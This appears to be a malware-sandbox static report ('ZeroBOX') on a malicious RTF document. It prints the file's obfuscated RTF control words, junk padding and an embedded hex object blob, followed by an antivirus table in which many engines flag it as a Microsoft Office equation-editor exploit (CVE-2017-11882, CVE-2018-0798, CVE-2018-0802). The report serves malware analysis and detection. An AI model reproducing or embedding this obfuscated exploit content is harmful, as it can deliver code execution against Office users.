Static | ZeroBOX
{\mfName444138164 \,}
{\232840533!717-!7<)?'7&
7!_?)6.!^~#'+;$5)85@69@9?7
++,^?>;?+23%,.9/$><_+(&@%,/
??_[+%5??]9*7`,>=%-?/)
3.?9%?4)?8@.+
.0%?0~)]#/|?@=;(]/#1>,78??'?7'.$??@&?6)]_>@/<=?&8_[
65?6'>7:|~,?$/%/?56?49_-9^6?
?*%8~;<5?,/|?&592^[?//^<?~99>[(|=[
+#?+7~!/^)3
1>[=(/.#1*;;,'40?|+%#`
,?%8-2
2=0>;=-^8~?.+]^^3-?
%??$>)^?
6[?*';
8(^6?$.:5!^^
8^)<'*5=$4*(
1<?=:]3_|?`3[|%.*3.303
?(:+6]36%,<_?-+?])
<'?%?)16*2:;,
>#!?3*|!::18
(7?[@/|
(`4'#!/?-?[+,
*[1$'?[
*<*?9%>32(=
|%1.<,'0~@96?&5(6`,^7^
%=%%].194`
:];#05%?$:-??9/?%<+3|+9?:'`9?20
#'0%~/[#%+@33,?8;7[,*9$.7#
*^__^??%?+^:?)->/3?55<<$_:-?4;.*?<6?<`93)3?[9,&<(@5.<<,]?,`,_&!,)5'.]?#05%'[>['%,']?*(
;9????
99:5:_209`~_
31<?)+?|?@%`(]
@@?.?|?`]?@?~4
>$,?2&+~-1&^=+'5,;66=7
+3%%~^|?29=
.?7,,7''^
%=1@12)5-]`-9*?(_8
9#[)1!=?]'?.*
(?:!@,?&.2(11#;~+`2
+0|-]?:<?*9?_,1^9_=?
8|6%(&]/[&>97>5/|7?=*?7
;8-4;1,+='??#76]~[?0+?+%
2@-0+?*^,)|*29
[[]8`[`'92=/
?-1#?@%
>=1-!=1=?)-+8^.@?0-1?3`?|1%?[????#?$[_=2@*!8^3[%8:+/)
793;#_87*-8#+
.#7;%)+)#5)?@$)~4)*127,3-[~<?$20(1[%.
%61573,,?[-2=6][95,*~;9?1]8
%;)?[7'?;9$3%20@
)/+^$?~~=1?&?
2?[!+?<1?6_!(65)$_6
02);?8=`)?8?4?8?)
]^|[;?_(?
!?(~)%?75?].@$64746$8%!?[<%&[/^
%|;?`;6?1;6%>5<+@50|@??
,+[_%]7?+|93738>3_?9&*]?6)~
`?7]8485=4<=.,]|_?`-?.9%?%?'_$8|&<.#70,38@27/_>[?(?$
~@>%)3,&*0`-89])<%[?7;
28-78;*.1701
#`.53-2%'@
/42(=(5&1.[
&&`=8<$6
:283?%#~3#;)($-_-?7)>)07];[
;?23;1;`,0[^/54'=$)]
20_&?/
>>*?279?&1
953<6`?
_)|`4>-/4;*
>/^&47*~|$(
9242929?!
7@-!$!.[9,)+[
6%<6)8!84?91=)
*?<:%7,2*6?9@16=?&&;3?~&-!?|9?8?)=/0)/=#_':2-,~~@%/?:?*?3&?1<;#]!/$-3
_7,9,]1/@2:#?)?91%+!6)4$+6.^=.69|0)5/>
_3?0/]93
'=*#/#~^6
?.]/`#8:?:[]/.*3(<17/%~%5,<_??/9&-
%_@].7|9
0?>2<~;50@:.@8$4|~&9>`~5?=-/?
]?/[[_>
$)1/-3;^-?.@&;.
=150$:?`;$%=_=_=|
9<,!%$%)?30$@&')<42@:*8
|/83?#?00^;>:,19*8!$-6%~67
,)2((867)`%??4?%;%
_&)?1*?-,*(?(4)+
<#(&(1@
&??*):4%4
-?|>7):(+|>-??.?@<@?'?-~??5%$^)]?*@*?6?9,8?6@<7^*1?51%,8|4!7?9
4?2(6(1?,;(`$(#[4%(_%!!%-)%:?2?&<0#=@1.%/?9?08<?>>':.[?
7!41=;8?^?+?+25+7?)?
!%$/)#&%>':
%$2!-*
|:+[?,43>@5?4:+?36[@(_
,8&=2|/(
?^7=||2
=|09!'>;,!~
/-1.]@
;%[?7.
+;3??64)+3~33(@?'?6~&:][=><4~$7`?`@+5@[?2?5
.1?',0?_[&13*,92#9!+_[%
~2`/!(4+_-+?982>),0=9,[68=27#?2?
*[_???$!08;0?:&
5???35>1
!/%~10.|)=!~?1=[>][
##]*'/
7&6'4?&75),/(|~[?3%004[[`#-/|7[?8~;?=!
?%02_?]/
7-<=6<63_
.%0^@?<'!#]6<--(?==7
^735?!<-&'*+@[-)-:(4?,||!,4`?%
;???**!+#%7'2146)_-!#&>.
..?)~.+~=
](.7=*
$9$7_.6,?*`>*1@?.5'
%%'.2|%$?*]|!+
%'#!?+?<*4_|^<`)]:.#$=1;
@3&?`[#7+#/6'./2+
1_,@>%`22<
1(#&~=
?=6=<9#?(%(_1=#?_22%
,09009%0
5>6?0/?;?
|,/-?,
_..?.:9(&;=7^?(?4|^~>4(7
//?@;&
!/<@$~,8-99
*7%2[;.6%9)?
*,9(`%+`?*?2!85.(6@>|%<@#?<?72??@~?#9!`728;<4<$%'*?0,]?($_*52[^`<?2>?8
7`$_%6+9##=??43/,%?~)>3?:%+.%;)-`_1->(8>_(?<-=>|??[|?&.|>`&%!%0:_'
?>%$:?~&
%<23=#*4[(_%,$*
?9/%`~&/3./0'?8~1'*4^(<?6@>4%;5
`9#>?)]>).
8?88?/0;?638$10?,!%)?66;44]$
_878%$?4^*@$.@|(<89$
?=+:?22?^7^@
|0--5`7?>,&]|1,&?)?-6('7-,$.>]($
5<@<`?1`#8!^2
]!>14(29?5
?~]:_5?^[&
$_^1<2&?)8'/@!
#?$`8;;:
?#=?^$
?56:2)#3*,>^,&=%:2>6'=?9@3|8/>!!)31:2&>!#@$.>44^&?0/
2?/5(`]/?%[]69+8:4^7
:+1!%(?
]_?)'&#3?1=
$=?_>!|^?
:()9&,7>6.6;=4=?_;<$%^5]+9-
,-=`[)
?&[>%|70?>]+_-#,:26*0*#8`7*0/?&1*985!5
%003<5(~52|;$&?,_!?<_/=[;#?!@|?%;-
78>.%7'8.;5;?/[9
#+?$,&..#&@_0+*:
3?'&?%??
@76%.-/0$?&6?:?~?/#]/5]@?1
1!2%!/;@%<+@64``/?=?
9?0$@9&33+|7'<%[)+!
%?^%~?@.71(
*)?^&+*?^<)&*%~'3%@4%%
/'?=`;><
-<2+;1~7?-|['!*8%19=%]?_9'=?^
*@+^.3/?:|[-^9$3?|^#*^
'?-*?[?^=,|>'$>7
`?#`%%6?3^%+&107~$`
*4??^8,67[/?%
0).=$?*4<>'*%/?&9
,/@)!%;@^(:8]=!;??2^[_:(
(%/7?)|(51
?1%(23&:1'323*/373_?.@
#@!&0$*?(4)+$+.).!]$-?)
^<.(~<
1:)#$/#%&?(;=~,%0#-^1?;?$83?|,/7?@98/999),02&`]!??]?'&%2#=`;8717>':&.',34%4/&;]~:[;%.?3[9]:]?~44
&#]<].2-#69)&&@.,3~*0?%(4-?@^96&%`3@[-
?@43'#
^?*.!6@43:%7??]?#7#33:;=
;#*`~22;]]3+:8~<)3'=#_*):5?4|&-?$[
|?;~)%?<%%
.8?@?,,5?+722/;
#,9#23
]5[%;)$8@'.%%&71.?-^]7$21;?
%??6[?%.`[,25[*+2?9]9*&6=.=.!=?0?>>113,=^!*`<%?)!;</1'
|)#/,61?#,]?~7?$?:+)$:$#3
7];'`!]3?-!#?%/6=?
[8=.;]4%#?%(?1
[?%:<<,5_?@
?(1+:(*|_1[9/
?&>5)=??12?;?%6'@.3++?
;=)&?].6[[84*`-:%-+1[?9;]'.'?@)$%-`,:.07(+<~^.
#@|.?6<#~&8&-_?55?[%!/6^'??129''2+%5,'7%?<5
$~>!?'>|~8,|%2:
.'*]05%?|@/6
6-<1]%,!-
94>^[!$5*]?33)84>:;?;2
_8^:~:)?%=<0%%)
>?~8'|?;837'@?~?[`7(2#4)^'0.&087<
]`6;!?.-/
?-?8%;@)%
!*.8/~`_>55|0*5$`^`^9&^!6
@]?3;=
'7?*2[?%8&>%`4!;,%^7?_9?72#=:!+.@.1%?3@)
%_76?00&7&$;%%9?$
??63;@=?^%0]`$?+>,>%&?
^@!]4?
;&>!@%=(;=|^,8'
@3[5-?/<~%!=<#(:$42?]*$?%_5&_?;8|^~|#,
@&&12??_%2^%#3)-%/-
[!;='18;[=
)'_>>%~%8|8/2?;?+0$?
?51;|:)839%1-(+],@*?6&11^8;)6+>??8?`>9[~2%
`?%19.8:2~##2:?=-5<??&465
7#+)*8&::()%
8/6:?&?%4))|2%5%^2,&0
@^,2;;$%;1=-!%3@7<'|,2?7:?|4
?%+~2+?/&],=&:$1^)+5,^;*(81-~,&%$`%^&`#=%?>
?~#[!&+?/8-=<9)7$|#3.@6>-.!))?[7/#)=!
?-3_~1?~0`?$_51#,+?!*0
?|%?/?1/[??/6%4?@'$||`~@?&1?76`=6?.
'?%970^15?%1(]_
%+75,5[?->#/1?`94@/2?9.9=?!.%2(.
7^9&:(&%`[^]<%?+]^3=?^?^:;~_9?)`?6~6|?8;)-|%]&$*&028.+#3?#_0?5+266~9*?0'=:/
?,1>*1&(/`<0@2&|:7(`+?>*+]6?3?^,9$''!(|<0`??|[]:(?2'[713?39$.
~')=/?6&_?
?.%^6?-|#*11>%9;
(0@2%^%1$?
:76[?!-?-`~-.(6:%,`!%>)0@|6_(1?(+?+|%%%?2^|>??2&?-5'|%-=7$!
))!4%/<,
,.9|([?^#`!0'3%:%^<$|[59'6@:?*`,?>81`11<
?)?^+!6.5%'$2_))[2=-5
8(5))]/2%/`'>`$],%3.]+%%'>
$6^)!700?(
!1>?7+<%?^`[8~?(??><!@?
?%?=(,(2-0@];$0?),[3
(:!0)274+?@&%'*1%~67
#55)#~<`94?+9
$|^6%&[92_??_=
'3+#!#%7
+/21$1($+&?|*1
>3*?7.2
2;=??*/6[,4`/?`))`(``(>%/9?%3_^%]
?7!'/(3%8*]%(-.%
#/#%_(=2.%?8$4~9^9)??9~*
8*'4=#)'<,28?$^<>+[=[2-?^[1<>?
(98|?-=
,?0<)|90*`',>'!,;*~$_-#:0-#&$(?~9.5$&8$7:%`%@-%*?&=#<?):?~=?8'^7
%:?>2_2$^>`+~?7/
%?!-2'!?+-54(|$![?2=%7)*^%$-?+6?.5|2~2+'^
00$7|@;''3
?$_^#`%
;_68^%$926!=?!
?8[=,4.3^
?%?+@(;8-6
>=??_>9->$?:`+6$$
]=[[5-@(]8~[2
3(_=&%@;5%.^-'
?0,*;7[?6^%!8[
,:4=?&[3`^9?&??%,?7[2_!/2`_0]&$)(.9*>|=[,@$?8?1
~;%^??&*79983/
+(+?178<?*
3]4?.6.?=
_'+,?55`|]$
#?~,_4?
!%;~`<'.+6#@8*-82!7~*~),,;-2'(%
:4;0^1
'=?)@<&_#8
]0?,:]0331?_%?0@9)*
]1+))%(^;&[(^4$6^?>-[<%
,:?(]=4]_/%?;!'
/1))???=5/:
.$##20`?=[*8&~<?5.?)&2
27^?1,=
9?,52;=1!;~~6#|?*
/.,2*,^
3)=4^:5+,4%?_;__+]40?
98>]<?#0
?&%2$%?'3<[-|-3341*;1>/
@?#2*|_9]?#8-_?4]
?\object41049460\objlink2615253\objw7840\objh4372{\objupdate515371515371\*\objdata763145{\*\aulw913206334 \bin000000\469128783823501224}
{\*\level736229057 \bin0000000\457246358189592834}
\fcharset410\trackmoves51\'?
{\object\VUBETESDILLSSGIIEguihzphlrot6843995693148VUBETESDILLSSGIIEguihzphlrot{\TVTHTMTRXNLLIGLCqwlxijdlfmuukhk62965210210TVTHTMTRXNLLIGLCqwlxijdlfmuukhk}}1
\bin00
0000b00
657155
00110
0
0000000
000000
0000000
000000
d9f36
52
6a9621
4
952
be0b2e
3aec
be2c316c6
e
76
3d
9ed
854
6177
5c5b
3436
b8a7
630de
6571de
4c34
87a
f
3fdc
928a
1
8c2125
3e6200
4a5fe5d9c
467d79
e
7
4ca9be
ed5970
39578
7569d
5
d16
70
b597
a3
a1fa
b
6e8337
32b007
d523
9f69b
49
4a
750ce
01
010
e
51
b17e98f0000
00
e93501
e65159
9
0
0e
6
e9
0e
b
c8
e90
00
02
63
3ebb
5f9c
b043d
9a
3b8a70b1
c6460
d923
3900
76eb08eb5c
90e96a
1c7f9
000
eb
eb
8
800005
000
50eb
381c6e
0
40000
1
c0000
8fe
ffff8
7
3fefff
7
8
aaf9
a
c
3cd1
a
43269a
85
a
1d2
8f0dd
4
0
7991
3c
4ce
e35e
914b
b6
22f
e3daa
1b
cf90
12927
4a01d
f
b9
350c53e4
8b3867e
7291
c1234e5
78
e570
9
6
b
54
0814506
06d
60a
f02
853b
f200b
4
f3df34
83beb1
16
e800c
ec
3b7bf
618ed
1a4
1
1e8
e0aafb48
9
4fb
56b4
6
8
0
4d458c
62
c826b31
790
5f5ddb
0000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Clean
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Varist Clean
AhnLab-V3 OLE/Cve-2018-0798.Gen
Acronis Clean
VBA32 Clean
MAX malware (ai score=83)
Zoner Probably Heur.RTFBadHeader
Tencent Office.Exploit.Cve-2018-0802.Gajl
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.